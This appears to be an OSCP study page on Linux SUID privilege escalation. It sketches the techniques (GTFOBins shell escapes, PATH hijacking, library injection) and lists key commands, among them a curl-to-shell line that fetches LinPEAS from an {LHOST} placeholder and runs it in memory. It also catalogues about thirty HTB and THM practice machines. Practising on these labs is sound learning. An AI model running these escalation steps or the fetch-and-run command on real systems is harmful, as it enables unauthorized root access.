Linux SUID Privilege Escalation: practice machines and key commands

By Daniel Dayan ยท Updated

A SUID binary runs with the file owner privileges, often root, so any way to make it execute your commands is a privilege escalation. List candidates with find / -perm -4000 -type f 2>/dev/null and compare them against the GTFOBins catalogue for shell escapes. Custom binaries deserve a closer look: run strings or ltrace to spot calls to commands without absolute paths, then place a malicious binary earlier in PATH. Shared library injection and writable configuration files read by the binary are other routes. Remember that some shells drop privileges unless you pass -p. Document the exact binary and version you abused. The machines listed show SUID mistakes ranging from standard utilities to hand-written programs. Run the same check after every user change, since new groups expose new binaries.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

SUID Binaries Exhaustive Discovery

List all binaries on the filesystem with the SUID bit set, ignoring proc and dev.

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

LinPEAS Direct Memory Execution

Download and execute LinPEAS directly in bash memory without writing to disk.

curl -L http://{LHOST}:8000/linpeas.sh | sh

Sudo Privileges Inspection (`sudo -l`)

Check current user sudo permissions without or with password.

sudo -l

Keep going

Linux SUID Privilege Escalation machines (31)

5 of these are machines I solved myself and are listed first within each difficulty. 31 Linux.

Listed when a machine has a catalog tag that is one of: suid, exploiting suid files, gtfobins, setuid, path hijacking, cve 2019 14287; or a tag that contains the word suid. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row.

Linux SUID Privilege Escalation at a glance

Very Easy (1)

MachinePlatformOSTags
OopsieSUIDIDORHTBLinuxSUID, IDOR

Easy (17)

MachinePlatformOSTags
Bank IppSecSUIDHTBLinuxSUID
Bounty HackerTar-SUIDFTP-AnonymousHydraTHMLinuxTar-SUID, FTP-Anonymous, Hydra
Kobold IppSecSUIDHTBLinuxSUID
RootMeSUID-PythonFile UploadTHMLinuxSUID-Python, File Upload
Agent SudoCVE-2019-14287User-Agent-SpoofingSteganographyBrute-ForceTHMLinuxCVE-2019-14287, User-Agent-Spoofing, Steganography, Brute-Force
ArchangelPath-HijackingLFILog-PoisoningCronTHMLinuxPath-Hijacking, LFI, Log-Poisoning, Cron
Blunder IppSecCVE-2019-14287Bludit-CMSHTBLinuxCVE-2019-14287, Bludit-CMS
Brooklyn Nine NineSUIDSteganographyHydraTHMLinuxSUID, Steganography, Hydra
KenobiSUIDPath-HijackingSambaProFTPDTHMLinuxSUID, Path-Hijacking, Samba, ProFTPD
Laboratory IppSecSUIDArbitrary-read-fileCVE-2020-10977Marshal-cookie-attackHTBLinuxSUID, Arbitrary-read-file, CVE-2020-10977, Marshal-cookie-attack
Previse IppSecPath-HijackingHTBLinuxPath-Hijacking
ResSUID-XxdRedisWebShellTHMLinuxSUID-Xxd, Redis, WebShell
Secret IppSecSUIDJWT-forgeryHTBLinuxSUID, JWT-forgery
SwagShop IppSecGTFOBinsCVE-2015-1397Exploit-modificationHTBLinuxGTFOBins, CVE-2015-1397, Exploit-modification
Traverxec IppSecGTFOBinsSSH-Key-CrackingHTBLinuxGTFOBins, SSH-Key-Cracking
VulnversitySUIDFile UploadBurp SuitesystemctlTHMLinuxSUID, File Upload, Burp Suite, systemctl
Writeup IppSecPath-HijackingHTBLinuxPath-Hijacking

Medium (11)

MachinePlatformOSTags
Mr Robot CTFNmap-SUIDWordPressWp-loginDictionary-AttackTHMLinuxNmap-SUID, WordPress, Wp-login, Dictionary-Attack
AnonymousSUIDFTPCronTHMLinuxSUID, FTP, Cron
Boiler CTFSUIDJoomlaSar2HTMLTHMLinuxSUID, Joomla, Sar2HTML
BookstoreSUIDREST-APIWerkzeug-ConsolePIN-ExploitTHMLinuxSUID, REST-API, Werkzeug-Console, PIN-Exploit
Jacob the BossSUIDJBossJava-DeserializationCVE-2017-12149THMLinuxSUID, JBoss, Java-Deserialization, CVE-2017-12149
Lazy IppSecSUIDPadding-OracleHTBLinuxSUID, Padding-Oracle
Magic IppSecPath-HijackingSUIDSQLiHTBLinuxPath-Hijacking, SUID, SQLi
Monitored IppSecSUIDNagios-XI-CVE-2023-40931CactiSQLiHTBLinuxSUID, Nagios-XI-CVE-2023-40931, Cacti, SQLi
October IppSecSUIDBypassing-ASLRBypassing-NX/DEPHTBLinuxSUID, Bypassing-ASLR, Bypassing-NX/DEP
Sneaky IppSecSUIDSQLiBuffer-OverflowSNMPHTBLinuxSUID, SQLi, Buffer-Overflow, SNMP
UpDown IppSecSUIDHTTP-Header-modificationHTBLinuxSUID, HTTP-Header-modification

Hard (2)

MachinePlatformOSTags
Charon IppSecSUIDCommand-InjectionHTBLinuxSUID, Command-Injection
Daily BugleGTFOBinsJoomlaSQLiCVE-2019-8942THMLinuxGTFOBins, Joomla, SQLi, CVE-2019-8942

Related techniques

Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.